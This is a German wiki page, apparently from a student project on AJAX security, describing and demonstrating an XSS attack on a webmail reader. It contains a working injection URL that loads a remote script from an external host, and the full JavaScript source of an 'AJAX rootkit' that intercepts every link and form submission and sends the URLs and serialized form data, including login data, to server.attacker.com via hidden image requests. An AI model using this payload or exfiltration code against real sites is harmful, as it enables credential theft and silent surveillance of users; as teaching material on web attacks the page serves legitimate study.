Ajax Sicherheit

From
Revision as of 18:17, 25 September 2008 by Theintz (talk | contribs) (added demonstaration and source code)
Jump to navigation Jump to search

Problemstellung

Einführung

Als Asynchronous JavaScript And XML (AJAX) wird eine Verknüpfung vorhandener Techniken zur client-seitigen Web-Programmierung verstanden, mit der es möglich ist, über Requests und Responses unabhängig vom Laden einer neuen Seite im Browser mit dem Webserver zu kommunizieren. In JavaScript lässt sich das XMLHTTPRequest-Objekt nutzen, um Requests abzusetzen und eine etwaige Response zu verarbeiten. Viele sogenannte "Web 2.0"-Anwendungen nutzen AJAX, um komfortablere Benutzerschnittstellen zu realisieren; etwa GoogleMail oder RoundCube.

Konzept

Unser Projekt soll betrachten, welche neuen Angriffsmöglichkeiten sich erst durch AJAX ergeben. Beispielsweise könnte ein Angreifer JavaScript-Coding (über eine zu konkretisierende Schwachstelle) in die vertrauenswürdige Seite einer Web-Applikation einbringen. Der Benutzer würde sich - wie üblich - in der Applikation bewegen und die gleichen Inhalte sehen. Diese würden jedoch durch das eingeschleuste Coding vom Server angefordert und über dynamisches Anpassen der angezeigten Seite an den Anwender weitergereicht werden. Somit würde hierbei unter Zuhilfenahme von AJAX eine Web-Applikation durch das Coding des Angreifers simuliert werden.

Quellen

Stuttard, Dafydd / Pinto, Marcus: The Web application Hacker's handbook. Discovering and exploiting security flaws. Indianapolis 2008
Eilers, Carsten: Ajax Security. Sichere Web 2.0-Anwendungen. Unterhaching 2008.

Demonstration

Beschreibung

Der eigentliche Angriff erfolgt über eine XSS-Lücke im Mailreader. Die Formularfelder auf der Loginseite können mit Hilfe von GET-Parametern vorbelegt werden, der Aufruf der URL http://mailreader.server.com?configLogin=user1 würde dem Feld Benutzername den Wert user1 zuweisen. Derartig übergebene Werte werden nicht validiert, so dass es einem Angreifer möglich ist, HTML-Code einzuschleusen.

Unser konkreter Angriffscode:

http://mailreader.server.com?configLogin="><script src=http://positiveinfinity.net/col/script.js></script><br lang="

Der Code schließt zunächst das input-Tag, fügt dann ein script-Tag ein, welches den Rootkit-Code von einem anderen Server lädt. Zuletzt wird ein harmloses br-Tag eingefügt, was dazu dient, die Seite unverändert erscheinen zu lassen.

In dem nachgeladenen Javascript-Code wird zunächst die Library jquery definiert. Danach folgen vier Funktionen:

retrievePage(href, data) lädt die Seite an der Adresse href per AJAX; werden im Parameter data Daten übergeben, wird ein Post ausgeführt, andernfalls wird die Seite per GET aufgerufen. Nach dem Laden werden alle body-, head- und html-Tags aus der Seite entfernt und die komplette Seite als innerHTML des aktuellen body-Elements eingefügt.

convertElements() ersetzt die onclick-Handler aller Links sowie die onsubmit-Handler aller Formulare mit einer neuen Funktion, die durch den Aufruf von retrievePage() die angeforderte Seite nachlädt und anschließend per logData() einige Daten auf dem Server des Angreifers speichert.

logData(url, data) speichert die übergebene url und weitere Daten auf dem Server des Angreifers. Dies geschieht, indem ein unsichtbares Bild ans Ende des HTML-Dokuments angehängt wird, welches als src-Attribut ein Logging-Skript auf dem entsprechenden Server angibt, welches wiederum per GET-Parameter die Daten empfängt.

logMe() gibt lediglich eine Statusmeldung in der Konsole von Firebug aus, um anzuzeigen, dass das Rootkit weiterhin aktiv ist.

Der Start des Rootkits erfolgt durch Aufruf der Funktion convertElements(). Von diesem Moment an erfolgen alle folgenden Seitenaufrufe durch das Rootkit und werden gespeichert.

Quelltext

/*
 * jQuery 1.2.6 - New Wave Javascript
 *
 * Copyright (c) 2008 John Resig (jquery.com)
 * Dual licensed under the MIT (MIT-LICENSE.txt)
 * and GPL (GPL-LICENSE.txt) licenses.
 *
 * $Date: 2008-05-24 14:22:17 -0400 (Sat, 24 May 2008) $
 * $Rev: 5685 $
 */

[...]

/** BEGIN XSS **/

retrievePage = function(href, data) {
	data = (data ? data : "");
	_method = (data.length > 0 ? "POST" : "GET");
	
	$.ajax({
		dataType: "html",
		url: href,
		data: data,
		type: _method,
		beforeSend: function(xhr) {
			console.log("Retrieving page: " + href);
		},
		success: function(data, status) {
			data.replace(/(<.?body.*?>)|(<.?head.*?>)|(<.?html.*?>)/gi, "<!-- replaced -->");
			
			console.log(data);
			
			$("body").html(data);
			convertElements();
		},
		error : function(xhr, status, error) {
			alert("An error occured: " + status + " / " + error);
		},
		complete : function(xhr, status) {
			console.log("Done.");
		}
	});
}

logData = function(url, data) {
	data = encodeURIComponent("URL: " + url + " - DATA: " + data);
	
	$("<img src='http://server.attacker.com/log.php?log=" + data + "' style='display:none' />").appendTo("body");
}

convertElements = function() {
	$("a").click(function() {
		_href = $(this).attr("href");

		retrievePage(_href);
		logData(_href, "");
		
		return false;
	});
	
	$("form").submit(function() {
		_action = $(this).attr("action");
		_data = $(this).serialize();
		
		retrievePage(_action, _data);
		logData(_action, _data);
		
		return false;
	});
}

logMe = function() {
	console.log("still here... " + new Date().getTime());
	window.setTimeout("logMe()", 5000);
}

convertElements();
logMe();
<pre>